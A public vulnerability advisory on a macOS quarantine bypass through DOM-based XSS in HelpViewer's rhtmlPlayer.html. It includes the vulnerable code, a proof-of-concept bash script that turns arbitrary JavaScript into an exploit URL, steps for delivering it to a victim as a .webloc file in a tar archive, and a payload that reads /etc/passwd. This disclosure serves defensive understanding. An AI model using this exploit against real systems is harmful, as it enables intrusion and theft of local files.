Advisory ID: SGMA17-002 Title: Mac OS X Local Javascript Quarantine Bypass Product: Mac OS X Version: 10.12, 10.11, 10.10 and probably prior Vendor: apple.com Vulnerability type: DOM Based XSS

Risk level: 3 / 5 Credit: Filippo Cavallarin - wearesegment.com CVE: N / A Vendor notification: 2017-07-27 Vendor Fix: 2017-09-25 Public disclosure: 2017-09-28

Details

Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary Javascript code without restrictions.

Basically, Apple’s Quarantine works by setting an extended attribute to downloaded files (and also to files extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted environment.

For example, a quarantined html file won’t be able to load local resources.

The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the execution of arbitrary javascript commands in its (unrestricted) context.

A demo video is available at https://youtu.be/1jesuZXfMjI

The mentioned file is located at

/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html

and contains the following code:

<script type="text/javascript" charset="utf-8"> setBasePathFromString(urlParam("rhtml")); loadLocStrings(); loadJavascriptLibs(); function init () { /* <-- called by <body onload="init()" */ [...] rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */ [...] self.contentHttpReq.open('GET', rHTMLPath, true); self.contentHttpReq.onreadystatechange = function() { if (self.contentHttpReq.readyState == 4) { loadTutorial(self.contentHttpReq.responseText); } } [...] } function loadTutorial(response) { var rHTMLPath = urlParam("rhtml"); // this will create a tutorialData item eval(response); [...] } function loadLocStrings() { var headID = document.getElementsByTagName("head")[0]; var rHTMLPath = urlParam("rhtml"); rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js"); var newScript = document.createElement('script'); newScript.type = 'text/javascript'; newScript.src = rHTMLPath; headID.appendChild(newScript); } [...] </script>

In short, it takes an url from the “rhtml” query string parameter, makes a request to that url and evaluates the response content as javascript code.

The code below contains two different DOM Based XSS.

The first is in the loadLocStrings() function that creates a SCRIPT element and uses the “rhtml” parameter as its “src” property.

The second is in the init() function that uses the “rhtml” parameter to make an ajax call and then passes the response directly to eval().

As the result the same payload is executed twice.

An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.

One possible vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads it in Safari when opened.

By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on the victim’s computer.

Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar archive (or any other format that supports extended attributes).

PoC

To reproduce the issue follow the steps below:

create a javascript file you want to execute on your target convert its content to base64 encode it to a “uri component” (ex with encodeURIComponent js function) use it to build a data uri as follow:

data:text/plain;base64,<urlencoded base64> prepend the following string to it:

file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= open it with Safari save it as a bookmark drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it) create a tar archive containing the .webloc file send it to the victim

Note that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the javascript code must be:

document.getElementsByTagName(“base”)[0].href=””;

The following bash script will take a javascript file and converts it to final “file” url:

#!/bin/bash BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=" BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;" DATAURI="data:text/plain;base64," JSFILE=$1 if [ "$JSFILE" = "" ]; then echo "usage: $0 " exit 1 fi JS=$BASEJS`cat $JSFILE`"})();" ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2F/g'` URL="$BASEURL""$DATAURI""$ENCJS" echo -ne "Paste the url below into Safari's url bar:

\033[33m$URL\033[0m

"

The following javascript code will alert the /etc/passwd file on the victim’s computer:

xhr = new XMLHttpRequest(); xhr.open("GET", "/etc/passwd", true); xhr.onreadystatechange = function(){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.send();

Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won’t). In this exploitation process it’s not an issue since .webloc files are always opened with Safari.

Note

This issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this bug in Apple’s changelog.

No CVE has been assigned by Apple.

Solution

Upgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html

Update: Safari 11 (available for Mac OS X 10.11, 10.12 and 10.13) introduces the following security enhancement:

CORS and cross origin access from file:// are now blocked unless Disable Local File Restrictions is selected from the Develop menu

hence the above exploit will not work against updated versions of OSX El Capitan and Sierra.

However javascript execution outside quarantine is still possible.

Disclosure

This vulnerability has been disclosed through Securiteam Secure Disclosure program:

http://www.beyondsecurity.com/ssd

